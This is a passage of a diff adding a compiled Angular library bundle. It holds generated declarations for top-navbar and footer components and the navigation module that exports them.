"select:not([multiple])[formControlName],select:not([multiple])[formControl],select:not([multiple])[ngModel]", inputs: ["compareWith"] }, { type: i7.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i7.NgModel, selector: "[ngModel]:not([formControlName]):not([formControl])", inputs: ["name", "disabled", "ngModel", "ngModelOptions"], outputs: ["ngModelChange"], exportAs: ["ngModel"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i7.NgSelectOption, selector: "option", inputs: ["ngValue", "value"] }, { type: i7.ɵNgSelectMultipleOption, selector: "option", inputs: ["ngValue", "value"] }], pipes: { "translate": i5.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wl-shell-top-navbar',
+                    templateUrl: './wl-top-navbar.component.html',
+                    styleUrls: ['./wl-top-navbar.component.scss']
+                }]
+        }], ctorParameters: function () { return [{ type: i1.ActivatedRoute }, { type: i1.Router }, { type: WlTopNavbarService }, { type: NavigationService }, { type: i4$1.Title }]; }, propDecorators: { environment: [{
+                type: Input
+            }], userData: [{
+                type: Input
+            }], logout: [{
+                type: Output
+            }], changeLocale: [{
+                type: Output
+            }], openFeedbackModal: [{
+                type: Output
+            }], endImpersonationSession: [{
+                type: Output
+            }], toggleNavigationExpanded: [{
+                type: Output
+            }] } });
+
+class WlFooterComponent {
+    constructor() {
+        this.copyright = "";
+    }
+}
+WlFooterComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+WlFooterComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlFooterComponent, selector: "wl-shell-footer", inputs: { copyright: "copyright" }, ngImport: i0, template: "<div class=\"row m-b\"></div>\n<br />\n<!-- Live Status-->\n<!--<app-live-messages></app-live-messages>-->\n\n<div class=\"page-footer\">\n  <strong [innerHTML]=\"copyright\"></strong>\n</div>\n", styles: [".page-footer{background-color:#fff;position:fixed;width:100%;bottom:0;margin:0 0 0 -15px;padding:5px 25px;opacity:.9;z-index:99998}.page-footer-right-fixed{position:fixed;bottom:0;right:0;background-color:transparent;padding:5px 25px;z-index:99999}\n"] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'wl-shell-footer',
+                    templateUrl: './wl-footer.component.html',
+                    styleUrls: ['./wl-footer.component.scss']
+                }]
+        }], propDecorators: { copyright: [{
+                type: Input
+            }] } });
+
+class NavigationModule {
+}
+NavigationModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+NavigationModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, declarations: [WlNavigationComponent,
+        WlTopNavbarComponent,
+        WlFooterComponent], imports: [CommonModule,
+        TranslateModule,
+        RouterModule,
+        FormsModule,
+        WlBreadcrumbsModule,
+        WlEmptyBlockModule], exports: [WlNavigationComponent,
+        WlTopNavbarComponent,
+        WlFooterComponent] });
+NavigationModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, imports: [[
+            CommonModule,
+            TranslateModule,
+            RouterModule,
+            FormsModule,
+            WlBreadcrumbsModule,
+            WlEmptyBlockModule
+        ]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    declarations: [
+                        WlNavigationComponent,
+                        WlTopNavbarComponent,
+                        WlFooterComponent,
+                    ],
+                    imports: [
+                        CommonModule,
+                        TranslateModule,
+                        RouterModule,
+                        FormsModule,
+                        WlBreadcrumbsModule,
+                        WlEmptyBlockModule
+                    ],
+                    exports: [
+                        WlNavigationComponent,
+                        WlTopNavbarComponent,
+                        WlFooterComponent
+                    ]
+                }]
+        }] });
+
+/*
+ * Public API Surface of wl-shell-layout
+ */
+
+/**
+ * Generated bundle index. Do not edit.
+ */
+
+export { NavigationModule, NavigationService, WlFooterComponent, WlNavigationComponent, WlTopNavbarComponent, WlTopNavbarService };